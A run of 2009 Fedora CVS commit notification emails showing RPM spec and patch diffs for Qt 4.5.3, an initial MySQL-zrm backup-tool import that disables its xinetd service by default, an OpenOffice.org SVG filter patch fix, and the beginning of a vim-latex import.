-%patch101 -p1 -b .CVE-2009-2700
 
-%patch287 -p1 -b .287-qmenu-respect
-%patch0288 -p1 -b .0288-more-x-keycodes
+# kde-qt branch
+%patch201 -p1 -b .kde-qt-0001
+%patch202 -p1 -b .kde-qt-0002
+%patch203 -p1 -b .kde-qt-0003
+%patch204 -p1 -b .kde-qt-0004
+%patch205 -p1 -b .kde-qt-0005
+%patch206 -p1 -b .kde-qt-0006
+%patch207 -p1 -b .kde-qt-0007
+%patch208 -p1 -b .kde-qt-0008
+%patch209 -p1 -b .kde-qt-0009
+%patch210 -p1 -b .kde-qt-0010
+%patch211 -p1 -b .kde-qt-0011
+%patch212 -p1 -b .0274-shm-native-image-fix
+%patch213 -p1 -b .kde-qt-0015
+%patch214 -p1 -b .kde-qt-0016
+%patch215 -p1 -b .kde-qt-0017
+
+# not yet merged ones
+%patch301 -p0 -b .0118-qtcopy-define
+%patch302 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
+%patch303 -p0 -b .0285-qgv-dontshowchildren
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
 
-## customize our platform
-%if "%{_lib}" == "lib64"
-%define platform linux-g++-64
-%else
 %define platform linux-g++
+%if "%{_qt4_datadir}" != "%{_qt4_prefix}" && "%{_lib}" == "lib64"                                  
+%define platform linux-g++-64                                                                      
 %endif
 
 sed -i \
@@ -427,6 +439,11 @@ if [ "%{_lib}" == "lib64" ] ; then
   sed -i -e "s,/lib /usr/lib,/%{_lib} /usr/%{_lib},g" config.tests/{unix,x11}/*.test
 fi
 
+# let makefile create missing .qm files, the .qm files should be included in qt upstream
+for f in translations/*.ts ; do
+  touch ${f%.ts}.qm
+done
+
 
 %build
 
@@ -491,6 +508,9 @@ fi
 
 make %{?_smp_mflags}
 
+# recreate .qm files
+LD_LIBRARY_PATH=`pwd`/lib bin/lrelease translations/*.ts
+
 
 %install
 rm -rf %{buildroot}
@@ -528,6 +548,13 @@ done
 # nuke dangling reference(s) to %buildroot
 sed -i -e "/^QMAKE_PRL_BUILD_DIR/d" %{buildroot}%{_qt4_libdir}/*.prl
 
+# nuke QMAKE_PRL_LIBS, seems similar to static linking and .la files (#520323)
+sed -i -e "s|^QMAKE_PRL_LIBS|#QMAKE_PRL_LIBS|" %{buildroot}%{_qt4_libdir}/*.prl
+
+# .la files, die, die, die.
+rm -f %{buildroot}%{_qt4_libdir}/lib*.la
+
+
 %if 0
 #if "%{_qt4_docdir}" != "%{_qt4_prefix}/doc"
 # -doc make symbolic link to _qt4_docdir
@@ -558,7 +585,7 @@ pushd %{buildroot}%{_qt4_libdir}
 for lib in libQt*.so ; do
    libbase=`basename $lib .so | sed -e 's/^lib//'`
 #  ln -s $lib lib${libbase}_debug.so
-   echo "INPUT(-l${libbase})" > lib${libbase}_debug.so
+   echo "INPUT(-l${libbase})" > lib${libbase}_debug.so 
 done
 for lib in libQt*.a ; do
    libbase=`basename $lib .a | sed -e 's/^lib//' `
@@ -567,9 +594,6 @@ for lib in libQt*.a ; do
 done
 popd
 
-# .la files, die, die, die.
-rm -f %{buildroot}%{_qt4_libdir}/lib*.la
-
 %ifarch %{multilib_archs}
 # multilib: qconfig.h
   mv %{buildroot}%{_qt4_headerdir}/Qt/qconfig.h %{buildroot}%{_qt4_headerdir}/QtCore/qconfig-%{_arch}.h
@@ -597,10 +621,17 @@ install -p -m644 -D %{SOURCE4} %{buildro
 # qt4-logo (generic) icons
 install -p -m644 -D %{SOURCE30} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/qt4-logo.png
 install -p -m644 -D %{SOURCE31} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/qt4-logo.png
+%if 0%{?docs}
+# assistant icons
+install -p -m644 -D tools/assistant/tools/assistant/images/assistant.png %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/assistant.png
+install -p -m644 -D tools/assistant/tools/assistant/images/assistant-128.png %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/assistant.png
+%endif
+# designer icons
+install -p -m644 -D tools/designer/src/designer/images/designer.png %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/designer.png
 # linguist icons
 for icon in tools/linguist/linguist/images/icons/linguist-*-32.png ; do
   size=$(echo $(basename ${icon}) | cut -d- -f2)
-  install -p -m644 -D ${icon} %{buildroot}%{_datadir}/icons/hicolor/${size}x${size}/apps/linguist4.png
+  install -p -m644 -D ${icon} %{buildroot}%{_datadir}/icons/hicolor/${size}x${size}/apps/linguist.png
 done
 
 # Qt.pc
@@ -646,20 +677,36 @@ EOF
 # create/own %%_qt4_plugindir/styles
 mkdir %{buildroot}%{_qt4_plugindir}/styles
 
-%if 0%{?phonon:1} 
-mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
-%endif
-
-%if ! 0%{?phonon_internal}
+%if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
+# This should no longer be required, but... -- Rex
+pushd %{buildroot}%{_qt4_headerdir}
+ln -s phonon Phonon
+popd
+%else
 rm -fv  %{buildroot}%{_qt4_libdir}/libphonon.so*
 rm -rfv %{buildroot}%{_libdir}/pkgconfig/phonon.pc
 # contents slightly different between phonon-4.3.1 and qt-4.5.0
 rm -fv  %{buildroot}%{_includedir}/phonon/phononnamespace.h
 # contents dup'd but should remove just in case
 rm -fv  %{buildroot}%{_includedir}/phonon/*.h
-#rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
+rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
 #rm -rfv %{buildroot}%{_qt4_headerdir}/Qt/phonon*
+rm -fv %{buildroot}%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
+%endif
+
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
+install -D -m 0644 %{SOURCE10} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
+install -D -m 0644 %{SOURCE11} %{buildroot}%{_datadir}/icons/hicolor/16x16/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE12} %{buildroot}%{_datadir}/icons/hicolor/22x22/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE13} %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%else
+rm -fv %{buildroot}%{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+rm -fv %{buildroot}%{_datadir}/kde4/services/phononbackends/gstreamer.desktop
 %endif
 
 
@@ -697,10 +744,30 @@ touch --no-create %{_datadir}/icons/hico
 gtk-update-icon-cache -q %{_datadir}/icons/hicolor 2> /dev/null ||:
 fi
 
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
+%post -n phonon-backend-gstreamer
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
+%posttrans -n phonon-backend-gstreamer
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
+%postun -n phonon-backend-gstreamer
+if [ $1 -eq 0 ] ; then
+  touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+  gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+fi
+
+%files -n phonon-backend-gstreamer
+%defattr(-,root,root,-)
+%{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+%{_datadir}/kde4/services/phononbackends/gstreamer.desktop
+%{_datadir}/icons/hicolor/*/apps/phonon-gstreamer.*
+%endif
 
 %files
 %defattr(-,root,root,-)
-%doc README* LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
+%doc README README.kde-qt LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
 %if "%{_qt4_libdir}" != "%{_libdir}"
 /etc/ld.so.conf.d/*
 %dir %{_qt4_libdir}
@@ -716,6 +783,10 @@ fi
 %else
 %dir %{_qt4_datadir}
 %endif
+%if 0%{?docs}
+%dir %{_qt4_docdir}
+%dir %{_qt4_docdir}/qch/
+%endif
 %if "%{_qt4_sysconfdir}" != "%{_sysconfdir}"
 %dir %{_qt4_sysconfdir}
 %endif
@@ -804,10 +875,10 @@ fi
 %{_qt4_datadir}/q3porting.xml
 %if 0%{?phonon:1}
 %{_qt4_libdir}/libphonon.prl
+%endif
 %if 0%{?phonon_internal}
 %{_qt4_libdir}/libphonon.so
 %endif
-%endif
 %{_qt4_libdir}/libQt*.so
 %{_qt4_libdir}/libQtUiTools*.a
 %{_qt4_libdir}/libQt*.prl
@@ -815,21 +886,26 @@ fi
 # Qt designer
 %{_qt4_bindir}/designer*
 %{_datadir}/applications/*designer.desktop
+%{_datadir}/icons/hicolor/*/apps/designer*
+%{?docs:%{_qt4_docdir}/qch/designer.qch}
 # Qt Linguist
 %{_qt4_bindir}/linguist*
 %{_datadir}/applications/*linguist.desktop
-%{_datadir}/icons/hicolor/*/apps/linguist4.*
+%{_datadir}/icons/hicolor/*/apps/linguist*
+%{?docs:%{_qt4_docdir}/qch/linguist.qch}
 
 %if 0%{?docs}
 %files doc
 %defattr(-,root,root,-)
-%dir %{_qt4_docdir}/
 %{_qt4_docdir}/html
-%{_qt4_docdir}/qch/
+%{_qt4_docdir}/qch/*.qch
+%exclude %{_qt4_docdir}/qch/designer.qch
+%exclude %{_qt4_docdir}/qch/linguist.qch
 %{_qt4_docdir}/src/
 #{_qt4_prefix}/doc
 # Qt Assistant (bin moved to -x11)
 %{_datadir}/applications/*assistant.desktop
+%{_datadir}/icons/hicolor/*/apps/assistant*
 %endif
 
 %if 0%{?examples}
@@ -861,6 +937,8 @@ fi
 %{_sysconfdir}/rpm/macros.*
 %if 0%{?phonon_internal}
 %{_qt4_libdir}/libphonon.so.4*
+%dir %{_datadir}/kde4/services/phononbackends/
+%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
 %endif
 %{_qt4_libdir}/libQt3Support.so.*
 %{_qt4_libdir}/libQtAssistantClient.so.*
@@ -875,6 +953,10 @@ fi
 %{?webkit:%{_qt4_libdir}/libQtWebKit.so.*}
 %{_qt4_plugindir}/*
 %exclude %{_qt4_plugindir}/sqldrivers
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
+%exclude %{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+%endif
 %if "%{_qt4_bindir}" != "%{_bindir}"
 %{_bindir}/assistant*
 %{?dbus:%{_bindir}/qdbusviewer}
@@ -888,24 +970,109 @@ fi
 
 
 %changelog
-* Mon Aug 31 2009 Than Ngo <than at redhat.com> - 4.5.2-3
+* Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
+- fix translation build issue
+- rhel cleanup
+
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
+- disable JavaScriptCore JIT, SE Linux crashes (#527079)
+
+* Fri Oct 02 2009 Than Ngo <than at redhat.com> - 4.5.3-2
+- cleanup patches
+- if ! phonon_internal, exclude more/all phonon headers
+- qt-devel must Requires: phonon-devel (#520323)
+
+* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-1
+- qt-4.5.3
+
+* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-21
+- switch to external/kde phonon
+
+* Mon Sep 28 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-20
+- use internal Qt Assistant/Designer icons
+- -devel: move designer.qch,linguist.qch here
+- move ownership of %%_qt4_docdir, %%_qt4_docdir/qch to main pkg
+
+* Sun Sep 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-19
+- Missing Qt Designer icon (#476605)
+
+* Fri Sep 11 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-18
+- drop gcc -fno-var-tracking-assignments hack (#522576)
+
+* Fri Sep 11 2009 Than Ngo <than at redhat.com> - 4.5.2-17
+- drop useless check for ossl patch, the patch works fine with old ossl
+
+* Wed Sep 09 2009 Than Ngo <than at redhat.com> - 4.5.2-16
+- add a correct system_ca_certificates patch
+
+* Tue Sep 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-15
+- use system ca-certificates (#521911)
+
+* Tue Sep 01 2009 Than Ngo <than at redhat.com> - 4.5.2-14
+- drop fedora < 9 support
+- only apply ossl patch for fedora > 11
+
+* Mon Aug 31 2009 Than Ngo <than at redhat.com> - 4.5.2-13
 - fix for CVE-2009-2700
 
-* Tue Aug 18 2009 Than Ngo <than at redhat.com> - 4.5.2-2
-- security fix for CVE-2009-1725
+* Thu Aug 27 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-12
+- use platform linux-g++ everywhere (ie, drop linux-g++-64 on 64 bit),
+  avoids plugin/linker weirdness (bug #478481)
+
+* Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 1:4.5.2-11
+- rebuilt with new openssl
+
+* Thu Aug 20 2009 Than Ngo <than at redhat.com> - 4.5.2-10
+- switch to kde-qt branch
+
+* Tue Aug 18 2009 Than Ngo <than at redhat.com> - 4.5.2-9
+- security fix for CVE-2009-1725 (bz#513813)
 
-* Sat Aug 18 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-1.2
+* Sun Aug 16 2009 Than Ngo <than at redhat.com> - 4.5.2-8
+- fix phonon-backend-gstreamer for using pulsaudio (#513421)
+
+* Sat Aug 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-7
 - kde-qt: 287-qmenu-respect-minwidth
 - kde-qt: 0288-more-x-keycodes (#475247)
 
-* Wed Aug 05 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-1.1
+* Wed Aug 05 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.2-6
 - use linker scripts for _debug targets (#510246)
+- tighten deps using %%{?_isa}
+- -x11: Requires(post,postun): /sbin/ldconfig
+
+* Thu Jul 30 2009 Than Ngo <than at redhat.com> - 4.5.2-5
 - apply upstream patch to fix issue in Copy and paste
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:4.5.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jul 02 2009 Than Ngo <than at redhat.com> - 4.5.2-3
+- pregenerate PNG, drop BR on GraphicsMagick (bz#509244)
+
+* Fri Jun 26 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.5.2-2
+- take current qt-copy-patches snapshot (20090626)
+- disable patches which are already in 4.5.2
+- fix the qt-copy patch 0274-shm-native-image-fix.diff to apply against 4.5.2
+
+* Thu Jun 25 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.5.2-1
+- Qt 4.5.2
+
+* Sun Jun 07 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.1-18
+- phonon-backend-gstreamer pkg, with icons
 - optimize (icon-mostly) scriptlets
-- -x11: Requires(post,postun): /sbin/ldconfig
 
-* Thu Jul 02 2009 Than Ngo <than at redhat.com> - 4.5.2-1
-- 4.5.2
+* Sun Jun 07 2009 Than Ngo <than at redhat.com> - 4.5.1-17
+- drop the hack, apply patch to install Global header, gstreamer.desktop
+  and dbus services file
+
+* Sat Jun 06 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.1-16
+- install awol Phonon/Global header
+
+* Fri Jun 05 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.5.1-15
+- apply Phonon PulseAudio patch (needed for the xine-lib backend)
+
+* Fri Jun 05 2009 Than Ngo <than at redhat.com> - 4.5.1-14
+- enable phonon and gstreamer-backend
 
 * Sat May 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.1-13
 - -doc: Obsoletes: qt-doc < 1:4.5.1-4 (workaround bug #502401)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-10/sources,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- sources	2 Jul 2009 13:42:38 -0000	1.53
+++ sources	10 Oct 2009 22:30:27 -0000	1.54
@@ -1,4 +1,10 @@
 d9f511e4b51983b4e10eb58b320416d5  hi128-app-qt4-logo.png
 6dcc0672ff9e60a6b83f95c5f42bec5b  hi48-app-qt4-logo.png
-28a7e8ac9805a6f614d2a27ee1a6ac9d  qt-x11-opensource-src-4.5.2.tar.bz2
-9865efce56f62a441a76626226b5f946  qt-copy-patches-20090626svn.tar.bz2
+8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
+60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
+7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
+0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
+12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
+86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
+153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png
+3988cf9af68be2df8a8000ede231de9b  qt-x11-opensource-src-4.5.3.tar.gz


--- 0288-more-x-keycodes.patch DELETED ---


--- 287-qmenu-respect-minwidth.patch DELETED ---


--- qt-copy-20090626-qt452.patch DELETED ---


--- qt-copy-patches-svn_checkout.sh DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-qdoc3.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-timestamp.patch DELETED ---



From ksyz at fedoraproject.org  Sat Oct 10 22:40:08 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Sat, 10 Oct 2009 22:40:08 +0000 (UTC)
Subject: rpms/MySQL-zrm/F-11 MySQL-zrm-disable-xinetd-service.patch, NONE,
	1.1 MySQL-zrm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010224008.A9CF311C02A0@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22838/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	MySQL-zrm-disable-xinetd-service.patch MySQL-zrm.spec 
	import.log 
Log Message:
Initial Import.



MySQL-zrm-disable-xinetd-service.patch:
 mysql-zrm-socket-server |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE MySQL-zrm-disable-xinetd-service.patch ---
--- MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server.orig	2009-10-09 12:46:24.000000000 +0200
+++ MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server	2009-10-09 12:47:05.000000000 +0200
@@ -24,7 +24,7 @@
 service mysql-zrm-socket-server
 {
 	type		= UNLISTED
-	disable         = no
+	disable         = yes
 	socket_type     = stream
 	protocol        = tcp
 	wait            = no


--- NEW FILE MySQL-zrm.spec ---
Name:		MySQL-zrm
Version:	2.1.1
Release:	4%{?dist}
Summary:	MySQL backup manager

Group:		Applications/System
License:	GPLv2
URL:		http://www.zmanda.com/backup-mysql.html
Source0:	http://www.zmanda.com/downloads/community/ZRM-MySQL/%{version}/Source/MySQL-zrm-%{version}.tar.gz

Patch0:		MySQL-zrm-disable-xinetd-service.patch

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

Requires:	xinetd
Requires:	logrotate
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Requires:	perl(DBI)
Requires:	perl(XML::Parser)
Requires:	perl(Data::Report) >= 0.05 
Requires:	perl(Data::Report::Plugin::Html) 
Requires:	perl(Data::Report::Plugin::Text) 

%description
Easy-to-use yet flexible and robust backup and recovery solution for MySQL 
server.

%prep
%setup -q
%patch0 -p1

%build
# we should use modules from repo
rm -rf usr/lib/mysql-zrm/Data
rm -rf usr/lib/mysql-zrm/XML

# get rid of zero-length files
rm -rf var/log/mysql-zrm/*

%install
rm -rf %{buildroot}
mkdir %{buildroot}

mkdir -p %{buildroot}/%{perl_vendorlib}/
mkdir -p %{buildroot}/%{_mandir}/man1/
mkdir -p %{buildroot}/%{_mandir}/man5/
mkdir -p %{buildroot}/%{_sharedstatedir}/
mkdir -p %{buildroot}/%{_var}/log/
mkdir -p %{buildroot}/%{_datarootdir}/
mkdir -p %{buildroot}/%{_bindir}/
mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
mkdir -p %{buildroot}/%{_sysconfdir}/mysql-zrm/

# install ourselves in correct locations
cp -rp usr/lib/mysql-zrm/ZRM			%{buildroot}/%{perl_vendorlib}
cp -rp usr/share/man/man1/*			%{buildroot}/%{_mandir}/man1/
cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
cp -rp var/log/*				%{buildroot}/%{_var}/log/
cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
# name logrotate job as package name
cp -rp etc/logrotate.d/mysql-zrm		%{buildroot}/%{_sysconfdir}/logrotate.d/%{name}

%clean
rm -rf %{buildroot}


%files
%defattr(0644,root,root,0755)

%attr(-,mysql,mysql) %dir %{_var}/log/mysql-zrm
%dir %{_sharedstatedir}/mysql-zrm
%dir %{_sysconfdir}/mysql-zrm/
%{_datadir}/mysql-zrm/plugins/*.smf
%attr(0755,root,root) %{_datadir}/mysql-zrm/plugins/*.pl
%attr(0755,root,root) %{_bindir}/*
%{perl_vendorlib}/ZRM

%doc %{_mandir}/man1/*
%doc %{_mandir}/man5/*
%doc usr/share/doc/*

%config(noreplace) %{_sysconfdir}/xinetd.d/mysql-zrm-socket-server
%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
%config(noreplace) %{_sysconfdir}/mysql-zrm/*


%changelog
* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
- Removed uneeded dependencies
- Replaced /var/lib with macro

* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-3
- Removed repeated file attr-s
- Disabled mysql-zrm-socket-server by default
- Changed owner of our /var/log/* to mysql:mysql
- Corrected documentation handling

* Wed Oct 7 2009 <mi at v3.sk> - 2.1.1-2
- corrected license
- minnor changes

* Fri Oct 2 2009 <mi at v3.sk> - 2.1.1-1
- Initial packaging


--- NEW FILE import.log ---
MySQL-zrm-2_1_1-4_fc11:F-11:MySQL-zrm-2.1.1-4.fc11.src.rpm:1255214368


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:07:24 -0000	1.1
+++ .cvsignore	10 Oct 2009 22:40:08 -0000	1.2
@@ -0,0 +1 @@
+MySQL-zrm-2.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:07:24 -0000	1.1
+++ sources	10 Oct 2009 22:40:08 -0000	1.2
@@ -0,0 +1 @@
+6f7d21a95aa65e9c57cc8c771e573174  MySQL-zrm-2.1.1.tar.gz



From caolanm at fedoraproject.org  Sat Oct 10 22:44:59 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 10 Oct 2009 22:44:59 +0000 (UTC)
Subject: rpms/openoffice.org/devel ooo-build.ooo2497.filter.svg.patch, 1.3,
	1.4
Message-ID: <20091010224459.5CA4111C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25533

Modified Files:
	ooo-build.ooo2497.filter.svg.patch 
Log Message:
fix ooo-build.ooo2497.filter.svg.patch

ooo-build.ooo2497.filter.svg.patch:
 OOO310_m6/filter/source/config/fragments/fcfg_drawgraphics.mk                       |    1 
 OOO310_m6/filter/source/config/fragments/fcfg_internalgraphics.mk                   |    1 
 OOO310_m6/filter/source/config/fragments/filters/SVG___Scalable_Vector_Graphics.xcu |   13 
 OOO310_m6/filter/source/config/fragments/internalgraphicfilters/svg_Import.xcu      |   10 
 OOO310_m6/filter/source/config/fragments/types/svg_Scalable_Vector_Graphics.xcu     |    6 
 OOO310_m6/filter/source/svg/b2dellipse.cxx                                          |  139 
 OOO310_m6/filter/source/svg/b2dellipse.hxx                                          |   77 
 OOO310_m6/filter/source/svg/exports.map                                             |    5 
 OOO310_m6/filter/source/svg/gentoken.pl                                             |   58 
 OOO310_m6/filter/source/svg/gfxtypes.hxx                                            |  343 +
 OOO310_m6/filter/source/svg/makefile.mk                                             |   49 
 OOO310_m6/filter/source/svg/parserfragments.cxx                                     |  600 ++
 OOO310_m6/filter/source/svg/parserfragments.hxx                                     |   74 
 OOO310_m6/filter/source/svg/spirit_supplements.hxx                                  |  115 
 OOO310_m6/filter/source/svg/svgfilter.cxx                                           |  102 
 OOO310_m6/filter/source/svg/svgfilter.hxx                                           |   46 
 OOO310_m6/filter/source/svg/svgimport.cxx                                           |  197 
 OOO310_m6/filter/source/svg/svgreader.cxx                                           | 2772 ++++++++++
 OOO310_m6/filter/source/svg/svgreader.hxx                                           |   43 
 OOO310_m6/filter/source/svg/test/makefile.mk                                        |  115 
 OOO310_m6/filter/source/svg/test/odfserializer.cxx                                  |  140 
 OOO310_m6/filter/source/svg/test/odfserializer.hxx                                  |   31 
 OOO310_m6/filter/source/svg/test/parsertest.cxx                                     |  210 
 OOO310_m6/filter/source/svg/test/svg2odf.cxx                                        |  124 
 OOO310_m6/filter/source/svg/tokenmap.cxx                                            |   62 
 OOO310_m6/filter/source/svg/tokenmap.hxx                                            |   32 
 OOO310_m6/filter/source/svg/tokens.txt                                              |  403 +
 OOO310_m6/filter/source/svg/units.cxx                                               |   99 
 OOO310_m6/filter/source/svg/units.hxx                                               |   60 
 filter/source/svg/units.cxx                                                         |   27 
 30 files changed, 5697 insertions(+), 257 deletions(-)

Index: ooo-build.ooo2497.filter.svg.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/ooo-build.ooo2497.filter.svg.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ooo-build.ooo2497.filter.svg.patch	10 Oct 2009 15:48:44 -0000	1.3
+++ ooo-build.ooo2497.filter.svg.patch	10 Oct 2009 22:44:58 -0000	1.4
@@ -806,23 +806,6 @@ diff -ruN OOO310_m6.orig/filter/source/s
 +$(SLO)$/parserfragments.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
 +
 +$(SLO)$/svgreader.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
-@@ -84,3 +92,16 @@
- # --- Targets ----------------------------------
- 
- .INCLUDE : target.mk
-+
-+# Generate gperf files - from oox/source/token
-+$(INCCOM)$/tokens.hxx $(MISC)$/tokens.gperf : tokens.txt gentoken.pl
-+		$(PERL) gentoken.pl tokens.txt $(INCCOM)$/tokens.hxx $(MISC)$/tokens.gperf
-+
-+$(INCCOM)$/tokens.cxx : $(MISC)$/tokens.gperf makefile.mk
-+		gperf --compare-strncmp -C -m 20 $(MISC)$/tokens.gperf | $(SED) -e "s/(char\*)0/(char\*)0, 0/g" >$(INCCOM)$/tokens.cxx
-+
-+$(SLO)$/tokenmap.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
-+
-+$(SLO)$/parserfragments.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
-+
-+$(SLO)$/svgreader.obj : $(INCCOM)$/tokens.cxx $(INCCOM)$/tokens.hxx
 diff -ruN OOO310_m6.orig/filter/source/svg/parserfragments.cxx OOO310_m6/filter/source/svg/parserfragments.cxx
 --- OOO310_m6.orig/filter/source/svg/parserfragments.cxx	1970-01-01 01:00:00.000000000 +0100
 +++ OOO310_m6/filter/source/svg/parserfragments.cxx	2009-03-17 14:59:37.000000000 +0000



From jussilehtola at fedoraproject.org  Sat Oct 10 22:48:19 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sat, 10 Oct 2009 22:48:19 +0000 (UTC)
Subject: rpms/vim-latex/devel import.log, NONE, 1.1 vim-latex.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091010224819.E98FE11C00DB@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/vim-latex/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26918/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log vim-latex.spec 
Log Message:
Imported in Fedora.



--- NEW FILE import.log ---
